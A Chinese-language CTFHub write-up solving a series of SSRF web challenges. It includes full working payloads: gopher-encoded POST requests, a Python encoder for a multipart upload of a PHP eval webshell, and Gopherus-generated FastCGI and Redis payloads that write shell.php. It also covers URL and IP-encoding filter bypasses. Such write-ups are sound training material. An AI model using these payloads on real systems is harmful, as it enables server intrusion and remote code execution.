CTFHub-Web-SSRF-WP
一、内网访问
1.题目提示说访问127.0.0.1的flag.php,在URL后面添加路径没想到直接访问成功
二、伪协议读取文件
1.题目提示说访问Web目录下的flag.php,联想到Web目录一般存放于/var/www/html/里,去修改URL尝试进行访问。页面显示???,那就尝试查看源代码得到flag
三、端口扫描
1.题目提示说是在8000-9000端口之间,先尝试访问一下8000端口,发现可以访问成功但是没有flag
2.开启Burp抓取刷新数据包发送到intruder
3.选择攻击模式,选择攻击位置,添加攻击
4.设置攻击类型为数值型,设置攻击范围为8001-9000
5.攻击结束后查看长度最长的那个端口号
6.重新进入网站访问该端口发现flag
四、POST请求
1.访问127.0.0.1/flag.php发现了源码中有个key
2.根据Gopher数据包格式构造数据包,尝试进行发送后没有得到Flag
3.根据Gopher数据包特性将URL进行三次编码后重新发送
?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=85dd6ab1a18c2fabacb046757c84de0b
4.最后得到Flag
五、上传文件
1.打开题目使用file方法打开页面发现有文件上传的入口但是没有提交的选项
http://challenge-f3dab308714b77d2.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
2.查看源代码
3.修改HTML源码添加上传按钮
<input type="submit" value="提交">
4.上传一句话木马并抓包
5.将抓到的数据包使用Python程序进行URL编码
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------188096258926377729394142365703
Content-Length: 264
Origin: http://challenge-44de14acddfd51b9.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-44de14acddfd51b9.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------188096258926377729394142365703
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
<?php @eval($_POST["shell"]);?>
-----------------------------188096258926377729394142365703--
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
6.将输出的结果粘贴到URL中获取Flag
六、FastCGl协议
1.打开网页后什么都没有,根据提示攻击FastCGl,首先下载Gopherus
2.下载完成后打开gopherus,输入目标文件路径和对一句话木马所进行的base64位编码程序,存储在shell.php文件中
一句话木马
<?php @eval($_POST['x']);?>
将木马进行base64编码后存储为shell.php文件中
cho “PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg==” | base64 -d > shell.php
经过payload编码后得到
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH127%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%7F%04%00%3C%3Fphp%20system%28%27echo%20%E2%80%9CPD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8%2BCg%3D%3D%E2%80%9D%20%7C%20base64%20-d%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
3.将生成的编码数据复制到靶场的url后面将木马进行上传
4.上传完成后使用蚁剑进行连接
5.进入文件管理即可找到flag文件
七、Redis协议
1.启动gopherus,选择PHPShell,输入一句话木马生成URL编码
生成的URL编码
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27x%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
2.将生成后的编码再进行一次编码
Python脚本
import urllib.parse
payload = ""
tmp = urllib.parse.quote(payload)
print(tmp)
3.将Python程序编码后的结果,输入到URL中进行上传
4.使用蚁剑进行连接
5.打开根目录发现flag文件所在位置
八、URL Bypass
1.http://www.baidu.com@192.168.0.1/与http://192.168.0.1请求的都是192.168.0.1的内容。
因此这个题目要求url must startwith “http://notfound.ctfhub.com
2.直接构造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php得到flag
九、数字IP Byepass
1.老样子先访问flag.php查看内容
2.根据题目提示说,不能使用数字了,那就把数字转换为其他进制进行访问即可得到flag
127.0.0.1–>2130706433 十进制
十、302跳转Bypass
1.访问flag.php发现提示不能访问IP
2.那就改成localhost尝试进行访问,flag直接出来了
十一、DNS重绑定Bypass
1.出题人好像忘记改了,直接输入localhost就能访问flag